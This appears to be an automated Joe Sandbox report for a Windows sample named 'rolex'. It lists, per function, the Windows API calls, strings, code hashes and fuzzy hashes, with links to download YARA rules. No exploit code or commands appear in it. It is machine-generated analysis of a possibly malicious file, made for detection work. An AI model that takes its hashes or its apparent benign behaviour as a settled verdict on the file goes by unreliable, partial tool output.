API ID: ButtonChecked$Message$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 4119318379-0
Opcode ID: 6d17268858d6b6aed380ad60cc2cf8b16547cb3a0c40a3112c59011326a33119
Instruction ID: b513e985a5749d1e67c3a718856697fa50014c49179cf7080e1c6e3cdfd5c1fc
Opcode Fuzzy Hash: 6d17268858d6b6aed380ad60cc2cf8b16547cb3a0c40a3112c59011326a33119
Instruction Fuzzy Hash: 0441C332B1664286F700AF79E814BA96760EB45F98FC50135DE0E07BB5CF3EE4458764

Function 00007FF7AB4AB9B4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddressForCaller.KERNELBASE ref: 00007FF7AB4ABA12
GetProcAddress.KERNEL32 ref: 00007FF7AB4ABA2D
GetCurrentProcessId.KERNEL32 ref: 00007FF7AB4ABACA

Part of subcall function 00007FF7AB4ADFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF7AB4ADDDF

Strings

CryptProtectMemory failed, xrefs: 00007FF7AB4ABA80
CryptUnprotectMemory failed, xrefs: 00007FF7AB4ABAC1
Crypt32.dll, xrefs: 00007FF7AB4AB9F0
CryptProtectMemory, xrefs: 00007FF7AB4ABA08
CryptUnprotectMemory, xrefs: 00007FF7AB4ABA1F

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: d2e93635ec338890dfe438c4789fcaf7e26687fbfe6c7ce53d5981307f2d6baa
Instruction ID: 24f08c071dfafab042a5e69a4cf511d783f90666f51b38a964239d339b6a49a0
Opcode Fuzzy Hash: d2e93635ec338890dfe438c4789fcaf7e26687fbfe6c7ce53d5981307f2d6baa
Instruction Fuzzy Hash: 24316B21A0BB0380FA55AB2EA850179A7A0AF45F94FC74139D94E433B5EE3EF541C320

Function 00007FF7AB49EF10 Relevance: 11.0, APIs: 7, Instructions: 453COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F542
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F548
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F554
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F55A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F560
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F56C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F572

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 2f1b3bdcd2581fc3eb11a20f3f8936e506afa36e288419d3eb12971ae08578fa
Instruction ID: 82febac3f64ef9f7b4243fe3f45cd69ff265688399f3bac5f8bc5ecbff9e01a5
Opcode Fuzzy Hash: 2f1b3bdcd2581fc3eb11a20f3f8936e506afa36e288419d3eb12971ae08578fa
Instruction Fuzzy Hash: 8112C362B0A74185FB10EB79D4446BDA371AB457A8F810236EA5C17AFADF3CE485C350

Function 00007FF7AB4A24C0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF7AB4A259B
GetLastError.KERNEL32 ref: 00007FF7AB4A25AE
CreateFileW.KERNEL32 ref: 00007FF7AB4A260E
GetLastError.KERNEL32 ref: 00007FF7AB4A2617
SetFileTime.KERNEL32 ref: 00007FF7AB4A26C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A2736

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: 7e74b88d639c8d570aa5cbccebcd9353285634c108726f52f9c563d03d833b9c
Instruction ID: a2ea882569ee9f0d262ff4a49b8f891772c73670df66392070f53b0c6e1727d2
Opcode Fuzzy Hash: 7e74b88d639c8d570aa5cbccebcd9353285634c108726f52f9c563d03d833b9c
Instruction Fuzzy Hash: 1961E466A1A64186E7209B2DE40036EA7B1FB85BA8F911338DFAD03AF4CF3DD0549714

Function 00007FF7AB4BB014 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF7AB4BB02A
GetObjectW.GDI32 ref: 00007FF7AB4BB05B
DeleteObject.GDI32 ref: 00007FF7AB4BB095
DeleteObject.GDI32 ref: 00007FF7AB4BB0C5

Part of subcall function 00007FF7AB4B8624: FindResourceW.KERNELBASE ref: 00007FF7AB4B863D
Part of subcall function 00007FF7AB4B8624: SizeofResource.KERNEL32 ref: 00007FF7AB4B8659
Part of subcall function 00007FF7AB4B8624: LoadResource.KERNEL32 ref: 00007FF7AB4B8673
Part of subcall function 00007FF7AB4B8624: LockResource.KERNEL32 ref: 00007FF7AB4B8685
Part of subcall function 00007FF7AB4B8624: GlobalAlloc.KERNELBASE ref: 00007FF7AB4B86A6
Part of subcall function 00007FF7AB4B8624: GlobalLock.KERNEL32 ref: 00007FF7AB4B86BB
Part of subcall function 00007FF7AB4B8624: GdipAlloc.GDIPLUS ref: 00007FF7AB4B86FE
Part of subcall function 00007FF7AB4B8624: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF7AB4B8769
Part of subcall function 00007FF7AB4B8624: GlobalUnlock.KERNEL32 ref: 00007FF7AB4B878C
Part of subcall function 00007FF7AB4B8624: GlobalFree.KERNEL32 ref: 00007FF7AB4B8795

Strings

], xrefs: 00007FF7AB4BB063

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: GlobalResource$Object$AllocBitmapDeleteGdipLoadLock$CreateFindFreeFromSizeofUnlock
String ID: ]
API String ID: 2347093688-3352871620
Opcode ID: 2f79d63664e457f963bfbd157e1c525b341384e02eb8e860e1f42d2dee528bbf
Instruction ID: 4954411b8cf0729f1549596bdb5a4629cded33d91405f5f4b58394062ad3f5ec
Opcode Fuzzy Hash: 2f79d63664e457f963bfbd157e1c525b341384e02eb8e860e1f42d2dee528bbf
Instruction Fuzzy Hash: 84116621B0B64245FE64BB6D9654279D792EF98BC0F890034DB5D07BB5EF2DF8048620

Function 00007FF7AB4BFE24 Relevance: 7.5, APIs: 5, Instructions: 29
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF7AB4BFE41
GetMessageW.USER32 ref: 00007FF7AB4BFE58
TranslateMessage.USER32 ref: 00007FF7AB4BFE63
DispatchMessageW.USER32 ref: 00007FF7AB4BFE6E
WaitForSingleObject.KERNEL32 ref: 00007FF7AB4BFE7C

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: eb57a341668d454e4e6cd52f39bb1811463ddcab187ea95c48cb89abc8d18535
Instruction ID: 0d05c30213a5d953a7e7dab0b3492b34be3c19e8b355e20cc41b5e82baf44889
Opcode Fuzzy Hash: eb57a341668d454e4e6cd52f39bb1811463ddcab187ea95c48cb89abc8d18535
Instruction Fuzzy Hash: 81F06222B3944692F760A779E454B7AB311FFE4B05FC51030E64E829B4DF2CE149C720

Function 00007FF7AB4BAE1C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF7AB4BAE32
GetMessageW.USER32 ref: 00007FF7AB4BAE49
IsDialogMessageW.USER32 ref: 00007FF7AB4BAE60
TranslateMessage.USER32 ref: 00007FF7AB4BAE6F
DispatchMessageW.USER32 ref: 00007FF7AB4BAE7A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 8f901ab8bb575df3ccfb48a5cb3294f091b017f84468599a2020223c8e70b7dc
Instruction ID: 86a5ab33d42c0b23b65a85ff375430709945cb088961d3095e98ec69cf6592f5
Opcode Fuzzy Hash: 8f901ab8bb575df3ccfb48a5cb3294f091b017f84468599a2020223c8e70b7dc
Instruction Fuzzy Hash: A2F04432B7994292FB50AB3DE955A36A361FFD0B05FC15031E64E42874DF2CE108C710

Function 00007FF7AB4B91E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32 ref: 00007FF7AB4B9211
SHAutoComplete.SHLWAPI ref: 00007FF7AB4B9255

Part of subcall function 00007FF7AB4B13C4: CompareStringW.KERNEL32 ref: 00007FF7AB4B13E3

FindWindowExW.USER32 ref: 00007FF7AB4B923F

Strings

EDIT, xrefs: 00007FF7AB4B921B, 00007FF7AB4B9233

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction ID: d15fe72e051d138230b3e65893192395070760379726702b254eaabe03140c62
Opcode Fuzzy Hash: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction Fuzzy Hash: B8018622B1AB8381FA60AB6EE8103F5E390AF98B40FC61431CE4D47775DF2CE1498660

Function 00007FF7AB4A2CE0 Relevance: 6.1, APIs: 4, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(00007FF7AB4A8C9A), ref: 00007FF7AB4A2D22
WriteFile.KERNEL32 ref: 00007FF7AB4A2D6C
WriteFile.KERNELBASE ref: 00007FF7AB4A2D9A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 95d7fd16c8d926fcf5da752308064adee905e679e75eda990adbc5c1a1c917ca
Instruction ID: 5254ad7ba12f98062170209c19a866bde48b96b992b2926bfb6721927a592e00
Opcode Fuzzy Hash: 95d7fd16c8d926fcf5da752308064adee905e679e75eda990adbc5c1a1c917ca
Instruction Fuzzy Hash: 9151E822B1B64292FA50EB29D44477AA360FF85B94FC50135EA4D07AB5DF7CE485C320

Function 00007FF7AB4C03E0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32 ref: 00007FF7AB4C0556
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4C05C1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4C05C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4C05CD

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ItemText
String ID:
API String ID: 3750147219-0
Opcode ID: dd20fbc03e7b4ed3df35e7997b11e4c7c519625834bd32e30ad2cbcd1638632d
Instruction ID: 55f562f2eb3827f0c926e0db8522641bd26e337f5363a88f875de55c801a6707
Opcode Fuzzy Hash: dd20fbc03e7b4ed3df35e7997b11e4c7c519625834bd32e30ad2cbcd1638632d
Instruction Fuzzy Hash: 01518162F1675285FB00EBADD8452ADA362AF46FA4FC20635DA5C16BF6DF6CD440C320

Function 00007FF7AB4A3684 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,00000000,?,00007FF7AB4A309D), ref: 00007FF7AB4A36CE
CreateDirectoryW.KERNEL32 ref: 00007FF7AB4A3733
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF7AB4A309D), ref: 00007FF7AB4A3791
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A37CE

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: 9d9d2995018f7f6f648ac6a5d97c5d37007cde808aee1d861722df7aa9659c46
Instruction ID: 27fcd6e0d90a06e449cffd979653b7180712e67236ea2d41a406cfb7a9d20432
Opcode Fuzzy Hash: 9d9d2995018f7f6f648ac6a5d97c5d37007cde808aee1d861722df7aa9659c46
Instruction Fuzzy Hash: 5731C666A0E74281EA60BB2DA44427DE361FF89B90FD24235EEDD436F5EF3CE4458610

Function 00007FF7AB4C2D6C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7AB4C2D7B

Part of subcall function 00007FF7AB4C27FC: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7AB4C281E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7AB4C2D90
__scrt_release_startup_lock.LIBCMT ref: 00007FF7AB4C2DFE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7AB4C2E51

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: f380b52e8f95e6a0f24ce785192d8cb773bc143ddf3d62aee805abe4fb8ed354
Instruction ID: 69c3d8c7a5a6db87cf8824e415289f0ddefc93b550224e576a9916bb1be1182c
Opcode Fuzzy Hash: f380b52e8f95e6a0f24ce785192d8cb773bc143ddf3d62aee805abe4fb8ed354
Instruction Fuzzy Hash: 98315D21E0F20355FA54BB6D94513BAA791AF43F84FC61434EA4E1B6F3DEACB8058274

Function 00007FF7AB4A2320 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,00000000,00007FF7AB4A2927,?,00100000,?,00000001,00000000,00000000,?,00007FF7AB4A14C1), ref: 00007FF7AB4A2348
ReadFile.KERNELBASE ref: 00007FF7AB4A2367
GetLastError.KERNEL32 ref: 00007FF7AB4A239B
GetLastError.KERNEL32 ref: 00007FF7AB4A23BA

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction ID: 0cb02987e52fa8ecbfad03d1846fca7b47aa7bfa62e54e9f7507e541b7c27419
Opcode Fuzzy Hash: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction Fuzzy Hash: 7621A421E0E55281EA60BF39A40023DE7A0FB46B98F964538DA5D4A6B4CF7CD8859720

Function 00007FF7AB4AE948 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4AECD8: ResetEvent.KERNEL32 ref: 00007FF7AB4AECF1
Part of subcall function 00007FF7AB4AECD8: ReleaseSemaphore.KERNEL32 ref: 00007FF7AB4AED07

ReleaseSemaphore.KERNEL32 ref: 00007FF7AB4AE974
FindCloseChangeNotification.KERNELBASE ref: 00007FF7AB4AE993
DeleteCriticalSection.KERNEL32 ref: 00007FF7AB4AE9AA
CloseHandle.KERNEL32 ref: 00007FF7AB4AE9B7

Part of subcall function 00007FF7AB4AEA5C: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF7AB4AE95F,?,?,?,00007FF7AB4A463A,?,?,?), ref: 00007FF7AB4AEA63
Part of subcall function 00007FF7AB4AEA5C: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF7AB4AE95F,?,?,?,00007FF7AB4A463A,?,?,?), ref: 00007FF7AB4AEA6E

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: CloseReleaseSemaphore$ChangeCriticalDeleteErrorEventFindHandleLastNotificationObjectResetSectionSingleWait
String ID:
API String ID: 2143293610-0
Opcode ID: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction ID: ed575b674e2c441e3accea81a4ef6255f62a2287ffb98a7113174a36e4aefdf1
Opcode Fuzzy Hash: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction Fuzzy Hash: 6B012D32A16A8192E689AB25E58427DF730FB88B80F814035DB6D03635CF39E4B58750

Function 00007FF7AB4AEAA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF7AB4AEAE0
SetThreadPriority.KERNEL32 ref: 00007FF7AB4AEB36

Strings

CreateThread failed, xrefs: 00007FF7AB4AEAEE

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction ID: ba2884b55e6802196ef48407788c9de69d51b1bd6523bc088ed3243be03d02ee
Opcode Fuzzy Hash: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
